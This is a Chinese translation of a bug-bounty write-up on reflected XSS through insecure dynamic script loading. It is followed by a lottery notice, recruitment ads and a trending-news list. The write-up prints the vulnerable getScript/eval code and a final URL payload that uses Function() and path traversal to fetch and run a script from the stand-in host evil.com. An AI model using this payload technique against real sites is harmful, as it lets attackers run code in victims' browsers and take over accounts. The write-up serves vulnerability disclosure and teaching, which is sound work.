[翻译] 通过不安全的动态加载获得获得反射 XSS(结尾有抽奖)
停止! 在阅读本文之前,我鼓励您亲自尝试这个 XSS 挑战。我已将漏洞的核心元素合并到一个简单的静态页面中:https://d11dkd80d59ds1.cloudfront.net/ 。虽然本文将引导您完成完整的漏洞利用,但我想警告您,它比典型的注入漏洞复杂得多,因此如果您花时间自己尝试,该解决方案可能更有意义。

最近在 Bugcrowd 上寻找一个私有项目时,我发现用户的电子邮件地址和安全问题都可以在没有密码验证或任何其他安全检查的情况下进行修改。这种组合将允许攻击者成功进行帐户接管;然而,我需要提交一个远程漏洞利用来证明其合理性。
对于一些新接触或不熟悉漏洞赏金项目的人(说明一下),漏洞本身并不会被接受。在这种情况下,我发现 P5 缺少密码确认 - 更改电子邮件地址[1]。P5 是最低的严重级别(P1 是最高的),并且通常不会获得赏金。要真正展示(漏洞的)影响,您需要一个有效的、重要的远程漏洞利用,但就目前而言,攻击者需要物理访问受害者的机器,这通常会导致可怕的 Won't Fix (不修复,软件测试中的缺陷的解决状态) 。
好消息是漏洞利用链通常总是在范围内(至少在显示影响所需的范围内),因此我距离收到赏金那日之间的唯一问题是子域接管或跨站脚本攻击漏洞(XSS)。
新希望
var isDebug = getQuerystring(‘debug’, ‘false’); 位于靠近 index.html 顶部的脚本块中。getQueryString() 函数非常简单——实际上它在 Stack Overflow 上经常被引用(当时我完全不知道)—— 并且提供了一个简单的影响 DOM的机会,尽管不是以立即可进行漏洞利用的方式。var?isDebug?=?getQuerystring("debug",?"false");
function?getQuerystring(key,?default_)?{
????if?(default_?==?null)?default_?=?"";
????key?=?key.replace(/[\[]/,?"\\\[").replace(/[\]]/,?"\\\]");
????var?regex?=?new?RegExp("[\\?&]"?+?key?+?"=([^&#]*)");
????var?qs?=?regex.exec(window.location.href);
????if?(qs?==?null)
????????return?default_;
????else
????????return?decodeURIComponent(qs[1]);
}
debug),它将从 URL 的查询字符串中返回特定参数,否则将返回函数调用中提供的 default_ 值(在本例中为 false)—— 这意味着攻击者可以通过提供查询参数来影响返回值。搜索我的 Burp History,我发现在几个页面上使用了相同的功能,但通常返回了正常结果。也就是说,直到我发现一个以特殊方式使用返回值的页面。深挖
ViewGadgets.html 是唯一使用 getQueryString() 函数且参数不是 debug 的页面。此外,结果的值被传递到其他几个函数中,这些函数似乎动态加载了几个 JavaScript 文件中的一个。在这一点上,我开始认为有一半的几率可以找到利用漏洞的办法,我迅速将源代码的相关部分复制到本地 HTML 文件中,以便进行进一步测试。从我观察到的入口点开始:$(document).ready(function()?{
????init();
});
function?init()?{
????...
????var?gadgetFileName?=?getQuerystring(‘gadgetFileName’);
????loadGadget(gadgetFileName);
}
使用本地的源代码副本,我使用查询参数 ?gadgetFileName=test 加载页面并开始调试脚本以了解完整流程。

分解一下,init() 函数包括对 var gadgetFileName = getQuerystring(‘gadgetFileName’); 的调用,它解析名为 gadgetFileName 的查询字符串参数。getQueryString() 函数最终返回原始查询字符串输入,该输入由攻击者控制,因此应被视为不受信任的输入并在随后进行清理。在本例中,这个未经处理的输入然后被传递给 loadGadget(),它的全部内容以及我为解释代码而编写的一些内联注释如下所示:
function?loadGadget(_jsFileName)?{
??try?{
????console.info("Load?==?"?+?"./scripts/widgets/gadgets/"?+?_jsFileName);
????console.info("LOADING?GADGET?"?+?_jsFileName);
????//?gadgetName?现在保存的是?用户提供给查询参数?gadgetFileName?的值
????gadgetName?=?_jsFileName;
????$("#Container").show();?//?不相关
????//?加载在参数中提供的?JS?脚本
????$.getScript("./scripts/widgets/gadgets/"?+?_jsFileName)
??????.done(function(script,?textStatus)?{
????????//?从用户提供的输入中去除最后 3 个字符?-?即将 file.js 转换为文件。?
????????//?这用于在新加载的文件中实例化动态对象。?
????????//?如果要加载的文件是?widgetsSummary.js,则?objectName?的值为?widgetsSummary,widgetsSummary.js?将包含函数?widgetsSummary()?{...}
????????var?objectName?=?_jsFileName.substring(0,?(_jsFileName.length?-?3))
????????try?{
??????????//?这就是它变得危险的地方?-?到目前为止,我控制了存储在?gadget?中的值,
??????????//?并且可以有效地注入任何值来完成 eval 语句。
??????????gadget?=?eval("new?"?+?objectName?+?"()");
??????????//?除了这一点之外,没有什么重要的,因为?eval?语句已经危害受害者了
??????????gadget.init("Container",?0);
??????????console.info('getScript',?gadget);
????????}?catch?(err)?{
??????????console.error("Exception?in?creating?dynamic?object?["?+?objectName?+?"]");
????????}
??????})
??????.fail(function()?{
????????console.error('unable?to?load?script',?_jsFileName);
??????})
??}?catch?(err)?{
????console.error("Can't?load?this?template?./scripts/widgets/gadgets/"?+?_jsFileName);
??}
};
(代码vuln.js在github上的地址:https://gist.githubusercontent.com/gregaai/6a2ec57c8fded058224fbed46ca9bdba/raw/9e876c35cd1c7cc2ba2958584c63d6088577feab/vuln.js)
在较高层次,查询字符串值存储在 _jsFileName 和 gadgetName 变量中。该脚本尝试使用相对路径 ./scripts/widgets/gadgets/<query parameter> 加载额外的本地脚本,然后通过使用 eval() 从结果导入并实例化一个新对象。例如,如果查询参数是 ?gadgetFileName=gadget.js ,则此代码块将加载 ./scripts/widgets/gadgets/gadget.js 并使用 eval(“new gadget()”) 实例化 gadget 类型的新对象。无论如何,接下来的目的 - 让我们看看如何滥用它。
在看到查询参数最终被传递到 eval() 语句后,我开始寻找触发弹窗的方法。对于那些不是 JavaScript 开发人员的人解释一下,eval() 是一个内置函数,用于“执行表示为字符串的 JavaScript 代码”[2]。例如,传递诸如 eval(“alert(document.domain)”) 之类的字符串,将导致在包含网站域名的弹窗弹出。它的最初目的是允许动态代码生成——在本例中,根据用户的操作加载特定的 JavaScript 文件,但通常应该格外小心。

通过对代码的理解,现在的目标是构造一个参数值,该值可以在多次转换中幸存并通过 eval() 函数执行。作为一个额外的挑战,我们必须提供一个值,以便 $.getScript 成功加载合法文件,确保代码进入 .done 块,但我们还必须使用附加到我们注入数据中的 new 操作——这意味着我们注入的对象必须是“创建用户定义的对象类型或是具有构造函数的内置对象类型之一”[3]。
最终Exp
解释我为发现可能的注入所做的所有尝试需要几篇文章。简短版本是我使用网站脚本的本地副本进行的测试,大量地使用了调试器,并根据需要修改了代码,主要是删除 try/catch 语句,以便我可以更好地理解发生的异常。
最终有效的恶意payload是 https://www.example.com/?gadgetFileName=Function(%27%24.getScript(%22https%3a%2f%2fevil.com%2fexploit.js%22)%27)()%2f/../../../../../widgetsSummary.js ,它使我能够加载托管在 https://evil.com/exploit.js 的外部 JavaScript 文件。
分解每部分
function?loadGadget(_jsFileName)?{
??try?{
????$.getScript("./scripts/widgets/gadgets/Function('$.getScript("https://evil.com/exploit.js")')()//../../../../../widgetsSummary.js")
??????.done(function(script,?textStatus)?{
????????try?{
??????????gadget?=?eval("new?Function('$.getScript("https://evil.com/exploit.js")')()//../../../../../widgetsSummary.js");??????????
????????}?catch?(err)?{
??????????console.error("Exception?in?creating?dynamic?object?["?+?objectName?+?"]");
????????}
??????})
??????.fail(function()?{
????????console.error('unable?to?load?script',?_jsFileName);
??????})
??}?catch?(err)?{
????console.error("Can't?load?this?template?./scripts/widgets/gadgets/"?+?_jsFileName);
??}
};
(FinalPayload.js托管在github上:https://gist.githubusercontent.com/gregaai/c4d01f752a1c6f7d3683218a7d230ebd/raw/e83617d5aa808b25ac86c7d31b094597a4cc7105/FinalPayload.js)
与
eval()一样,new Function()允许我们传递一个将作为代码执行的字符串。附加第二组小括号,例如new Function()()使函数自调用,这意味着它在声明后立即执行。'$.getScript("https://evil.com/exploit.js")'是传递给new Function()的字符串,它使用 jQuery 加载远程脚本。这是恶意部分,像一个弹窗一样简单。JavaScript 注释
//用于避免其余部分../../../../../widgetsSummary.js在注入的new Function()的上下文中出现语法错误。最后,设置路径遍历和文件名,确保 loadGadgets()中调用$.getScript(“./scripts/widgets/gadgets/” + _jsFileName)成功,并使代码成功执行到 (.done) 代码块。找到正确数量的../以遍历gadgets目录的核心主要是反复测试,这根据payload而有所不同。幸运的是,这部分可以在开发者控制台的网络连接选项卡中观察到。widgetsSummary.js文件在页面上的单独函数中被引用,并被确认为合法且可访问的文件。
结果
[1] Bugcrowd. Bugcrowd’s Vulnerability Rating Taxonomy ?https://bugcrowd.com/vulnerability-rating-taxonomy
[2] MDN Web Docs. eval() ?https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
[3] MDN Web Docs. new operator ?https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new
原文地址:https://infosecwriteups.com/reflected-xss-through-insecure-dynamic-loading-dbf4d33611e0
如有错误,敬请指正。
抽奖活动
1. 必须在2021年7月14号以前关注ChaMd5微信公众号。
2. 必须将文章分享到朋友圈,且无分组,兑奖需要截图。
3. 扫描下方小程序二维码开始抽奖。
4. 自动开奖日期为2021-07-16 12:00,具体奖品看小程序。
5. 补天繁星奖,友爱的小伙伴们帮忙投下票,谢谢^ω^





招新小广告
ChaMd5 Venom?招收大佬入圈
新成立组IOT+工控+样本分析?长期招新
欢迎联系admin@chamd5.org

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 习近平将发表二〇二六年新年贺词 7904141
- 2 2026年国补政策来了 7808738
- 3 东部战区:开火!开火!全部命中! 7712893
- 4 2026年这些民生政策将惠及百姓 7616985
- 5 小学食堂米线过期2.5小时被罚5万 7519709
- 6 解放军喊话驱离台军 原声曝光 7428214
- 7 为博流量直播踩烈士陵墓?绝不姑息 7327605
- 8 每月最高800元!多地发放养老消费券 7238391
- 9 数字人民币升级 1月1日起将计付利息 7141831
- 10 2026年1月1日起 一批新规将施行 7040675








Chamd5安全团队
